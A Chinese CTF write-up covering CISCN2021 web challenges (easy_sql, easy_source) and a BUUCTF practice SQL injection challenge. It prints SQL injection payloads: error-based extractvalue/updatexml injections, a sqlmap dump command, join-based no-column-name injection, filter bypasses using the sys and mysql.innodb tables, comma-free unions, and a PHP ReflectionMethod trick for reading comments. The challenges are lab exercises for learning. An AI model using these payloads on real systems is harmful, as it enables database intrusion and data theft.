从CISCN2021初赛习得
Web
easy_sql
这里简要记录下我的思路以及学到的姿势。
一开始经过几次尝试发现uname处存在注入点且为单引号括号闭合,在sql语句为真时,返回 login ,为假时空白,于是就傻乎乎认为是布尔盲注,而忽略了加引号时页面会返回报错信息。所以可以用更为简单的报错注入的题,而我却用布尔盲注捣鼓了半天。得到库名后,发现information被过滤,无法查表和列名。艰难绕过后,利用无列名注入,mysql字符串逐位比较把flag给试了出来,但可能因为大小写的原因导致提交错误,白干一场(后来才知道mysql字符串比较不区分大小写😂)解决方法见下文。
正解报错注入
暴库
1 | uname=1')||extractvalue(1,concat('~',database()))%23&passwd=1 |
利用sqlmap获取表名
1 | python sqlmap.py -r " 1.txt" –dump -D “security” |
暴列名
1 | uname=1') ||updatexml("~",concat("~",(select * from (select * from flag as a join flag b)c)),"~")%23&passwd=1 |
得flag
1 | uname=1')||updatexml(1,((select `e4f94828-d693-4ea1-8759-051b98824ce3` from flag limit 0,1)),1)%23&passwd=1 |
新姿势&&不足
- 当information_schema被过滤,无法查库中表和列时,可以用
sys.schema_table_statistics_with_buffer
、sys.x$schema_flattened_keys
等来爆表。 - 当列名不知道时,一般利用information_schema_columns;再者可利用join进行无列名注入得到列名;若在join被过滤或盲注等情况,此时则可以考虑mysql字符串逐位比较大小。
- 当
||
、or
等常用字符过滤时也许可以使用^
异或这个符号,如?id=1'^(payload)^1--+
- post传参的Python脚本编写待加强
bypass information_schema
Mysql5.7后新增了sys库,其基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。可通过sys库取代information_schema获取表名。
sys 中可利用的视图
- sys.schema_table_statistics_with_buffer
- sys.x$schema_table_statistics_with_buffer
- sys.schema_auto_increment_columns
- sys.x$ps_schema_table_statistics_io
1 | select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database(); |
当or被过滤(没过滤in)时,可利用innodb存储引擎获取表名
- mysql.innodb_table_stats (此表中库名字段是database_name,而非table_schema)
- mysql.innodb_index_stats
1 | select group_concat(table_name) from mysql.innodb_table_stats where database_name=database(); |
join
通过join进行无列名注入获取列名
1 | mysql> select * from (select * from users a join users b)c; |
在学习大佬wp时还看到利用join绕过逗号过滤,tql
1 | ?id=-1' union select 1,2,3--+ |
不用逗号
1 | ?id=-1' union select * from (select 1)a join (select 2)b join (select 3)c--+ |
mysql字符串逐位比较
给定两个字符串,会各取两个字符串的首字符ascii码来比较,如下图
由此可知后一字符串首位为f,若首位相同,则会比较下一位,以此类推便可得到后一字符串内容。
但mysql比较两个字符串是不区分大小写的!本应是B(66)<a(97)
怎么能达到区分大小写的效果呢?我在这篇文章中找到答案(大佬tql!)
将字符串转换为二进制格式后,会强制进行字节对字节的比较
但binary函数中的in被过滤了,无法使用。
新的方法是用concat拼接一个JSON对象,即select concat('B',cast(0 as json))
也会返回一二进制字符串
也可以把字符转化为十六进制后比较,B(0x42)<a
exp
由于题目环境已关,这里在BUUCTF找到了一道类似的题以练习。
[GYCTF2020]Ezsqli
fuzz后,发现这里也过滤了information,考虑利用sys
简单尝试后,发现没有回显,也没有报错,当语句为真时返回Nu1L,为假时返回V&N,考虑布尔盲注。
判断表名
1 | import requests |
得到两个表,users233333333333333,f1ag_1s_h3r3_hhhhh
由于过滤了join,无法知道列名,采用mysql字符串逐位比较来获取第二个表的内容。
判断表中有两个字段,猜测flag在第二列。
1 | id=2||((select 1)>(select * from f1ag_1s_h3r3_hhhhh)) bool(false) |
脚本:
1 | import requests |
easy_source
wp参考 fslh-writeup
扫描后台目录得到index.php.swp,少见的备份文件格式,其是 vim 打开文件后的缓存文件
得到源码如下
1 |
|
分析题目,猜测 flag 是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod
来读取 User
类里面各个函数的注释。
构造成题目中的 http 参数则是:?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
因为不知道是在哪个函数的注释中,所以逐个函数暴破,暴破 rb
的值 a-z
,可以发现 flag
在 q
的注释中。
其他题目质量很不错(爆0),根本没有思路,大佬的wp如下:
http://www.xl-bit.cn/index.php/archives/434/
http://www.snowywar.top/?p=2190
参考文章
[1] 聊一聊bypass information_schema